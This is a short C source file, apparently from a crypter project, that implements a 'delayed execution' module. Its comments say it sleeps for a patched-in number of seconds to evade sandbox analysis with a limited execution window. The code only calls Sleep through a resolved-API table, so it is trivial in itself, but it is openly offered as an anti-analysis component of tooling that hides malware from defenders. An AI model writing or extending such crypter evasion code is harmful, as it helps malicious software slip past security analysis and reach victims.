26 lines
599 B
C
26 lines
599 B
C
|
/**
|
||
|
|
* evasion_sleep.c — Delayed execution
|
||
|
|
*
|
||
|
|
* Sleeps for a configurable number of seconds before proceeding.
|
||
|
|
* Helps evade sandbox analysis that has a limited execution window.
|
||
|
|
* The sleep duration is patched in by the crypter engine.
|
||
|
|
*/
|
||
|
|
|
||
|
|
#include <windows.h>
|
||
|
|
#include <stdint.h>
|
||
|
|
|
||
|
|
#include "api_resolve.h"
|
||
|
|
|
||
|
|
#ifdef EVASION_DELAYED_EXEC
|
||
|
|
|
||
|
|
/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */
|
||
|
|
static const uint32_t SLEEP_SECONDS = 0;
|
||
|
|
|
||
|
|
void evasion_sleep_init(void) {
|
||
|
|
if (SLEEP_SECONDS > 0) {
|
||
|
|
g_api.pSleep(SLEEP_SECONDS * 1000);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#endif /* EVASION_DELAYED_EXEC */
|